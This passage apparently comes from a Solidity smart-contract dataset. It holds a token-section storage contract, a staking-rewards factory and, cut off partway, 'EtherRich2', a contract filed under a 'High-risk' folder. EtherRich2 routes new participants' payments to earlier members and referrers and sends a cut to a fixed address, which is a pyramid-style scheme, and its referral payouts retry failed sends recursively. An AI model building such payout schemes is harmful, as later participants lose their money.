mapping(address => bool) public mintingTokens;
mapping(address => bool) public mintedTokens;
mapping(address => address) public tokenBackup;
address[] public mintedTokenList;
uint private mintPosition;
uint private burnPosition;
uint private totalMinted;
uint private totalBurned;
uint private minimalBurnAmount = 10 ** 14;
uint private totalCol;
mapping(uint => uint) public FeeRate;
mapping(uint => address) public FeeToken;
mapping(address => address) public TokenMedian;
mapping(address => uint) public poolBalance;
mapping(address => uint) public resUSDXBalance;
mapping(address => mapping (address => uint)) public depositorsBalance;
event UpdateSection(address[] _wrappedTokens, uint[] _number);
constructor(address[] memory _wrappedTokens, uint[] memory _weights) public {
_setSection(_wrappedTokens, _weights);
}
function getSectionMinted(uint _position) public view returns (uint) {
return secList[_position].minted;
}
function addSectionMinted(uint _amount) public auth {
require(_amount > 0, "AddSectionMinted: amount not correct.");
secList[mintPosition].minted = add(secList[mintPosition].minted, _amount);
}
function addSectionMinted(uint _position, uint _amount) public auth {
require(_amount > 0, "AddSectionMinted: amount not correct.");
secList[_position].minted = add(secList[_position].minted, _amount);
}
function setSectionMinted(uint _amount) public auth {
secList[mintPosition].minted = _amount;
}
function setSectionMinted(uint _position, uint _amount) public auth {
secList[_position].minted = _amount;
}
function getSectionBurned(uint _position) public view returns (uint) {
return secList[_position].burned;
}
function addSectionBurned(uint _amount) public auth {
require(_amount > 0, "AddSectionBurned: amount not correct.");
secList[burnPosition].burned = add(secList[burnPosition].burned, _amount);
}
function addSectionBurned(uint _position, uint _amount) public auth {
require(_amount > 0, "AddSectionBurned: amount not correct.");
secList[_position].burned = add(secList[_position].burned, _amount);
}
function setSectionBurned(uint _amount) public auth {
secList[burnPosition].burned = _amount;
}
function setSectionBurned(uint _position, uint _amount) public auth {
secList[_position].burned = _amount;
}
function getSectionToken(uint _position) public view returns (address[] memory) {
return secList[_position].colIDs;
}
function getSectionWeight(uint _position) public view returns (uint[] memory) {
return secList[_position].cw;
}
function getSectionData(uint _position) public view returns (uint, uint, uint, address[] memory, uint[] memory) {
return (secList[_position].minted,
secList[_position].burned,
secList[_position].backupIdx,
secList[_position].colIDs,
secList[_position].cw);
}
function getBackupSectionData(uint _position) public view returns (uint, address[] memory, uint[] memory) {
uint _backupIdx = getBackupSectionIndex(_position);
return (secListBackup[_backupIdx].backupIdx, secListBackup[_backupIdx].colIDs, secListBackup[_backupIdx].cw);
}
function getBackupSectionIndex(uint _position) public view returns (uint) {
return secList[_position].backupIdx;
}
function setBackupSectionIndex(uint _position, uint _backupIdx) public auth {
secList[_position].backupIdx = _backupIdx;
}
function _setSection(address[] memory _wrappedTokens, uint[] memory _weight) internal {
require(_wrappedTokens.length == _weight.length, "_SetSection: data not allow.");
uint sum;
uint factor = 10 ** 10;
address[] memory _srcTokens = new address[](_weight.length);
for (uint i = 0; i < _wrappedTokens.length; i++) {
require(_weight[i] != 0, "_SetSection: invalid weight");
require(_wrappedTokens[i] != address(0), "_SetSection: 0 address not allow.");
_srcTokens[i] = IDSWrappedToken(_wrappedTokens[i]).getSrcERC20();
require(_srcTokens[i] != address(0), "_SetSection: invalid address");
sum = add(sum, _weight[i]);
}
secList.push(Section(0, 0, 0, new address[](_wrappedTokens.length), new uint[](_weight.length)));
uint _mintPosition = secList.length - 1;
if (_mintPosition > 0) {
address[] memory _cruColIDs = getSectionToken(mintPosition);
for (uint i = 0; i < _cruColIDs.length; i++)
delete mintingTokens[_cruColIDs[i]];
}
for (uint i = 0; i < _wrappedTokens.length; i++) {
require(mul(div(mul(_weight[i], factor), sum), sum) == mul(_weight[i], factor), "_SetSection: invalid weight");
secList[_mintPosition].cw[i] = _weight[i];
secList[_mintPosition].colIDs[i] = _wrappedTokens[i];
mintingTokens[_wrappedTokens[i]] = true;
wrappedTokens[_srcTokens[i]] = _wrappedTokens[i];
if (mintedTokens[_wrappedTokens[i]])
continue;
mintedTokenList.push(_wrappedTokens[i]);
mintedTokens[_wrappedTokens[i]] = true;
}
mintPosition = _mintPosition;
emit UpdateSection(secList[mintPosition].colIDs, secList[mintPosition].cw);
}
function setSection(address[] memory _wrappedTokens, uint[] memory _weight) public auth {
_setSection(_wrappedTokens, _weight);
}
function setBackupSection(uint _position, address[] memory _wrappedTokens, uint[] memory _weight) public auth {
require(_wrappedTokens.length == _weight.length, "SetBackupSection: data not allow.");
require(_position < mintPosition, "SetBackupSection: update mint section first.");
uint _backupIdx = secList[_position].backupIdx;
if (_backupIdx == 0){
_backupIdx = backupSeed;
secList[_position].backupIdx = _backupIdx;
backupSeed = add(_backupIdx, 1);
}
secListBackup[_backupIdx] = Section(0, 0, _position, new address[](_wrappedTokens.length), new uint[](_weight.length));
for (uint i = 0; i < _wrappedTokens.length; i++) {
require(_wrappedTokens[i] != address(0), "SetBackupSection: token contract address invalid");
require(_weight[i] > 0, "SetBackupSection: weight must greater than 0");
secListBackup[_backupIdx].cw[i] = _weight[i];
secListBackup[_backupIdx].colIDs[i] = _wrappedTokens[i];
mintedTokens[_wrappedTokens[i]] = true;
}
}
function burnSectionMoveon() public auth {
require(secList[burnPosition].minted == secList[burnPosition].burned,
"BurnSectionMoveon: burned not meet minted.");
burnPosition = add(burnPosition, 1);
assert(burnPosition <= mintPosition);
}
function getMintingToken(address _token) public view returns (bool) {
return mintingTokens[_token];
}
function setMintingToken(address _token, bool _flag) public auth {
mintingTokens[_token] = _flag;
}
function getMintedToken(address _token) public view returns (bool) {
return mintedTokens[_token];
}
function setMintedToken(address _token, bool _flag) public auth {
mintedTokens[_token] = _flag;
}
function getBackupToken(address _token) public view returns (address) {
return tokenBackup[_token];
}
function setBackupToken(address _token, address _backupToken) public auth {
tokenBackup[_token] = _backupToken;
}
function getMintedTokenList() public view returns (address[] memory) {
return mintedTokenList;
}
function getMintPosition() public view returns (uint) {
return mintPosition;
}
function getBurnPosition() public view returns (uint) {
return burnPosition;
}
function getTotalMinted() public view returns (uint) {
return totalMinted;
}
function addTotalMinted(uint _amount) public auth {
require(_amount > 0, "AddTotalMinted: minted amount is zero.");
totalMinted = add(totalMinted, _amount);
}
function setTotalMinted(uint _amount) public auth {
totalMinted = _amount;
}
function getTotalBurned() public view returns (uint) {
return totalBurned;
}
function addTotalBurned(uint _amount) public auth {
require(_amount > 0, "AddTotalBurned: minted amount is zero.");
totalBurned = add(totalBurned, _amount);
}
function setTotalBurned(uint _amount) public auth {
totalBurned = _amount;
}
function getMinBurnAmount() public view returns (uint) {
return minimalBurnAmount;
}
function setMinBurnAmount(uint _amount) public auth {
_setMinBurnAmount(_amount);
}
function _setMinBurnAmount(uint _amount) internal {
minimalBurnAmount = _amount;
}
function getTokenBalance(address _tokenID) public view returns (uint) {
return poolBalance[_tokenID];
}
function setTokenBalance(address _tokenID, uint _amount) public auth {
poolBalance[_tokenID] = _amount;
}
function getResUSDXBalance(address _tokenID) public view returns (uint) {
return resUSDXBalance[_tokenID];
}
function setResUSDXBalance(address _tokenID, uint _amount) public auth {
resUSDXBalance[_tokenID] = _amount;
}
function getDepositorBalance(address _depositor, address _tokenID) public view returns (uint) {
return depositorsBalance[_depositor][_tokenID];
}
function setDepositorBalance(address _depositor, address _tokenID, uint _amount) public auth {
depositorsBalance[_depositor][_tokenID] = _amount;
}
function setFeeRate(uint ct, uint rate) public auth {
FeeRate[ct] = rate;
}
function getFeeRate(uint ct) public view returns (uint) {
return FeeRate[ct];
}
function setTypeToken(uint tt, address _tokenID) public auth {
FeeToken[tt] = _tokenID;
}
function getTypeToken(uint tt) public view returns (address) {
return FeeToken[tt];
}
function setTokenMedian(address _tokenID, address _median) public auth {
TokenMedian[_tokenID] = _median;
}
function getTokenMedian(address _tokenID) public view returns (address) {
return TokenMedian[_tokenID];
}
function setTotalCol(uint _amount) public auth {
totalCol = _amount;
}
function getTotalCol() public view returns (uint) {
return totalCol;
}
function setWrappedToken(address _srcToken, address _wrappedToken) public auth {
wrappedTokens[_srcToken] = _wrappedToken;
}
function getWrappedToken(address _srcToken) public view returns (address) {
return wrappedTokens[_srcToken];
}
}
| 164,283 | 13,444 |
d17e8d21d274bfd7b1840c59883e58d3a797a34bbb76e8084c819fbcad3cce43
| 14,144 |
.sol
|
Solidity
| false |
323452649
|
nimbusplatformorg/nim-smartcontract
|
8b8e8feb1fdfb5c33e8a506bfb032b51e5526b23
|
contracts/contracts_BSC/Staking/RewardsFactory.sol
| 3,428 | 13,977 |
pragma solidity =0.8.0;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external pure returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function getOwner() external view returns (address);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function getOwner() external view returns (address) {
return owner;
}
function transferOwnership(address transferOwner) external onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual external {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeBEP20 {
using Address for address;
function safeTransfer(IBEP20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeBEP20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) - value;
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IBEP20 token, bytes memory data) private {
require(address(token).isContract(), "SafeBEP20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeBEP20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
// Inheritance
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
abstract contract RewardsDistributionRecipient {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external virtual;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
}
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard {
using SafeBEP20 for IBEP20;
IBEP20 public immutable rewardsToken;
IBEP20 public immutable stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 60 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _rewardsDistribution,
address _rewardsToken,
address _stakingToken) {
require(_rewardsDistribution != address(0) && _rewardsToken != address(0) && _stakingToken != address(0), "StakingRewards: Zero address(es)");
rewardsToken = IBEP20(_rewardsToken);
stakingToken = IBEP20(_stakingToken);
require(IBEP20(_rewardsToken).decimals() == 18 && IBEP20(_stakingToken).decimals() == 18, "StakingRewards: Unsopported decimals");
rewardsDistribution = _rewardsDistribution;
}
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public override view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public override view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored + ((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / _totalSupply);
}
function earned(address account) public override view returns (uint256) {
return _balances[account] * (rewardPerToken() - userRewardPerTokenPaid[account]) / 1e18 + rewards[account];
}
function getRewardForDuration() external override view returns (uint256) {
return rewardRate * rewardsDuration;
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply += amount;
_balances[msg.sender] += amount;
// permit
IBEP20Permit(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function stake(uint256 amount) external override nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply += amount;
_balances[msg.sender] += amount;
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply -= amount;
_balances[msg.sender] -= amount;
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public override nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external override {
withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward / rewardsDuration;
} else {
uint256 remaining = periodFinish - block.timestamp;
uint256 leftover = remaining * rewardRate;
rewardRate = (reward + leftover) / rewardsDuration;
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance / rewardsDuration, "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp + rewardsDuration;
emit RewardAdded(reward);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
}
interface IBEP20Permit {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract StakingRewardsFactory is Ownable {
address public immutable rewardsToken;
uint public immutable stakingRewardsGenesis;
// the staking tokens for which the rewards contract has been deployed
address[] public stakingTokens;
// info about rewards for a particular staking token
struct StakingRewardsInfo {
address stakingRewards;
uint rewardAmount;
}
// rewards info by staking token
mapping(address => StakingRewardsInfo) public stakingRewardsInfoByStakingToken;
constructor(address _rewardsToken,
uint _stakingRewardsGenesis) Ownable() {
require(_stakingRewardsGenesis >= block.timestamp, 'StakingRewardsFactory::constructor: genesis too soon');
rewardsToken = _rewardsToken;
stakingRewardsGenesis = _stakingRewardsGenesis;
}
///// permissioned functions
// deploy a staking reward contract for the staking token, and store the reward amount
// the reward will be distributed to the staking reward contract no sooner than the genesis
function deploy(address stakingToken, uint rewardAmount) external onlyOwner {
StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];
require(info.stakingRewards == address(0), 'StakingRewardsFactory::deploy: already deployed');
info.stakingRewards = address(new StakingRewards(address(this), rewardsToken, stakingToken));
info.rewardAmount = rewardAmount;
stakingTokens.push(stakingToken);
}
///// permissionless functions
// call notifyRewardAmount for all staking tokens.
function notifyRewardAmounts() external {
require(stakingTokens.length > 0, 'StakingRewardsFactory::notifyRewardAmounts: called before any deploys');
for (uint i = 0; i < stakingTokens.length; i++) {
notifyRewardAmount(stakingTokens[i]);
}
}
// notify reward amount for an individual staking token.
// this is a fallback in case the notifyRewardAmounts costs too much gas to call for all contracts
function notifyRewardAmount(address stakingToken) public {
require(block.timestamp >= stakingRewardsGenesis, 'StakingRewardsFactory::notifyRewardAmount: not ready');
StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];
require(info.stakingRewards != address(0), 'StakingRewardsFactory::notifyRewardAmount: not deployed');
if (info.rewardAmount > 0) {
uint rewardAmount = info.rewardAmount;
info.rewardAmount = 0;
require(IBEP20(rewardsToken).transfer(info.stakingRewards, rewardAmount),
'StakingRewardsFactory::notifyRewardAmount: transfer failed');
StakingRewards(info.stakingRewards).notifyRewardAmount(rewardAmount);
}
}
}
| 236,129 | 13,445 |
ffd595b67fd85cc3f86cd46b1290b67ff72ce84a99c7123e62ccb2780fce1fee
| 34,675 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0x38AA97b0ccd1a9b62436CD6a28465e0679CB9d05.sol
| 7,849 | 31,287 |
pragma solidity 0.5.11;
contract EtherRich2 {
address public ownerWallet;
address public donation;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
////////////////////////////
////////////////////////////
//mapping(address=>uint256) donRef;
////////////////////////////
////////////////////////////
uint REGESTRATION_FESS=1 ether;
////////////////////////////////
uint pool1_price=1 ether;
uint pool1_donation=0.1 ether;
////////////////////////////////
uint pool2_price=1.60 ether;
uint pool2_donation=0.16 ether;
/////////////////////////////////
uint pool3_price=2.50 ether;
uint pool3_donation=0.25 ether;
/////////////////////////////////
uint pool4_price=4 ether;
uint pool4_donation=0.40 ether;
//////////////////////////////////
uint pool5_price=6.40 ether;
uint pool5_donation=0.64 ether;
//////////////////////////////////
uint pool6_price=10 ether;
uint pool6_donation=1 ether;
//////////////////////////////////
uint pool7_price=15 ether;
uint pool7_donation=1.5 ether;
//////////////////////////////////
uint pool8_price=30 ether;
uint pool8_donation=3 ether;
///////////////////////////////////
uint pool9_price=60 ether;
uint pool9_donation=6 ether;
///////////////////////////////////
uint pool10_price=120 ether;
uint pool10_donation=12 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
//////////////////////////////////////////////////////////////////////////////////
event getMoneyForDonationLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time, uint _poolNumber);
//////////////////////////////////////////////////////////////////////////////////
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
ownerWallet = 0x058DF7cE7B45d0De69fC52473C737B35dC023DF4;
donation = 0x808C52c3d0f6d0B081647d8cfB36e78EA16BC123;//;
LEVEL_PRICE[1] = 0.5 ether;
LEVEL_PRICE[2] = 0.2 ether;
LEVEL_PRICE[3] = 0.1 ether;
LEVEL_PRICE[4] = 0.001 ether;
unlimited_level_price=0.001 ether;
UserStruct memory userStruct;
/////////intial user 1*****************
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: 0,
referredUsers:0
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
PoolUserStruct memory pooluserStruct;
pool1currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1activeUserID=pool1currUserID;
pool1users[ownerWallet] = pooluserStruct;
pool1userList[pool1currUserID]=ownerWallet;
pool2currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2activeUserID=pool2currUserID;
pool2users[ownerWallet] = pooluserStruct;
pool2userList[pool2currUserID]=ownerWallet;
pool3currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3activeUserID=pool3currUserID;
pool3users[ownerWallet] = pooluserStruct;
pool3userList[pool3currUserID]=ownerWallet;
pool4currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4activeUserID=pool4currUserID;
pool4users[ownerWallet] = pooluserStruct;
pool4userList[pool4currUserID]=ownerWallet;
pool5currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5activeUserID=pool5currUserID;
pool5users[ownerWallet] = pooluserStruct;
pool5userList[pool5currUserID]=ownerWallet;
pool6currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6activeUserID=pool6currUserID;
pool6users[ownerWallet] = pooluserStruct;
pool6userList[pool6currUserID]=ownerWallet;
pool7currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7activeUserID=pool7currUserID;
pool7users[ownerWallet] = pooluserStruct;
pool7userList[pool7currUserID]=ownerWallet;
pool8currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8activeUserID=pool8currUserID;
pool8users[ownerWallet] = pooluserStruct;
pool8userList[pool8currUserID]=ownerWallet;
pool9currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9activeUserID=pool9currUserID;
pool9users[ownerWallet] = pooluserStruct;
pool9userList[pool9currUserID]=ownerWallet;
pool10currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10activeUserID=pool10currUserID;
pool10users[ownerWallet] = pooluserStruct;
pool10userList[pool10currUserID]=ownerWallet;
////////////////////*******************
}
function regUser(uint _referrerID) public payable {
require(!users[msg.sender].isExist, "User Exists");
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referral ID');
require(msg.value == REGESTRATION_FESS, 'Incorrect Value');
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: _referrerID,
referredUsers:0
});
users[msg.sender] = userStruct;
userList[currUserID]=msg.sender;
users[userList[users[msg.sender].referrerID]].referredUsers=users[userList[users[msg.sender].referrerID]].referredUsers+1;
payReferral(1,msg.sender);
emit regLevelEvent(msg.sender, userList[_referrerID], now);
}
function payReferral(uint _level, address _user) internal {
address referer;
referer = userList[users[_user].referrerID];
bool sent = false;
uint level_price_local=0;
if(_level>4){
level_price_local=unlimited_level_price;
}
else{
level_price_local=LEVEL_PRICE[_level];
}
sent = address(uint160(referer)).send(level_price_local);
if (sent) {
emit getMoneyForLevelEvent(referer, msg.sender, _level, now);
if(_level < 100 && users[referer].referrerID >= 1){
payReferral(_level+1,referer);
}
else
{
sendBalance();
}
}
if(!sent) {
// emit lostMoneyForLevelEvent(referer, msg.sender, _level, now);
payReferral(_level, referer);
}
}
////////////////////////////////////////////
////////////////////////////////////////////
///30 , 20 , 15 , 3
mapping(uint => uint256) public D_LEVEL_PRICE;
/////////////////
uint public donationpoolnumber = 0;
////////////////
function distributeDonationRefferal() internal{
if(address(this).balance==pool1_donation){
donationpoolnumber =1;
}
else if(address(this).balance==pool2_donation){
donationpoolnumber =2;
}
else if(address(this).balance==pool3_donation){
donationpoolnumber=3;
}
else if(address(this).balance==pool4_donation){
donationpoolnumber=4;
}
else if(address(this).balance==pool5_donation){
donationpoolnumber=5;
}
else if(address(this).balance==pool6_donation){
donationpoolnumber=6;
}
else if(address(this).balance==pool7_donation){
donationpoolnumber=7;
}
else if(address(this).balance==pool8_donation){
donationpoolnumber=8;
}
else if(address(this).balance==pool9_donation){
donationpoolnumber=9;
}
else if(address(this).balance==pool10_donation){
donationpoolnumber=10;
}
else{
donationpoolnumber=0;
}
D_LEVEL_PRICE[1] = (address(this).balance)* 3/10; //30%
D_LEVEL_PRICE[2] = (address(this).balance)* 2/10; //20%
D_LEVEL_PRICE[3] = (address(this).balance)* 15/100;//15%
D_LEVEL_PRICE[4] = (address(this).balance)* 3/100;//3%
donationReferral(1,msg.sender);
}
function donationReferral(uint _level, address _user) internal {
address referer;
referer = userList[users[_user].referrerID];
bool sent = false;
uint level_price_local=0;
if(_level>=4){
level_price_local=D_LEVEL_PRICE[4];
}
else{
level_price_local=D_LEVEL_PRICE[_level];
}
sent = address(uint160(referer)).send(level_price_local);
if (sent) {
emit getMoneyForDonationLevelEvent(referer, msg.sender, _level, now, donationpoolnumber);
if(_level < 10 && users[referer].referrerID >= 1){
donationReferral(_level+1,referer);
}
else
{
sendBalance();
}
}
if(!sent) {
// emit lostMoneyForLevelEvent(referer, msg.sender, _level, now);
donationReferral(_level, referer);
}
}
////////////////////////////////////////////
////////////////////////////////////////////
function buyPool1() public payable {
require(now >= 1598259600, "It is not a purchase period");
require(users[msg.sender].isExist, "User Not Registered");
//require(!pool1users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool1_price+pool1_donation, 'Incorrect Value');
/////////////////////////////////////////////////////////////////////
if(pool1users[msg.sender].isExist){
require(pool1users[msg.sender].payment_received>=2,"Pool Still Active !");
pool1currUserID++;
pool1users[msg.sender].id=pool1currUserID;
pool1users[msg.sender].payment_received=0;
pool1userList[pool1currUserID]=msg.sender;
}
else{
//////////////////////////////////////////////
PoolUserStruct memory userStruct;
pool1currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1users[msg.sender] = userStruct;
pool1userList[pool1currUserID]=msg.sender;
///////////////////////////////////////////////
}
///////////////////////////////////////////////////////////////////////
address pool1Currentuser=pool1userList[pool1activeUserID];
bool sent = false;
sent = address(uint160(pool1Currentuser)).send(pool1_price-pool1_donation);
//balAdmin.transfer(pool1_donation);
if (sent) {
pool1users[pool1Currentuser].payment_received+=1;
if(pool1users[pool1Currentuser].payment_received>=2)
{
pool1activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool1Currentuser, 1, now);
}
emit regPoolEntry(msg.sender, 1, now);
/////////////////////
address(uint160(donation)).send(pool1_donation);
distributeDonationRefferal();
/////////////////////
}
function buyPool2() public payable {
require(users[msg.sender].isExist, "User Not Registered");
//require(!pool2users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool2_price+pool2_donation, 'Incorrect Value');
require(pool1users[msg.sender].isExist, "Must Buy Previous Pool");
/////////////////////////////////////////////////////////////////
if(pool2users[msg.sender].isExist){
require(pool2users[msg.sender].payment_received>=2,"Pool Still Active !");
pool2currUserID++;
pool2users[msg.sender].id=pool2currUserID;
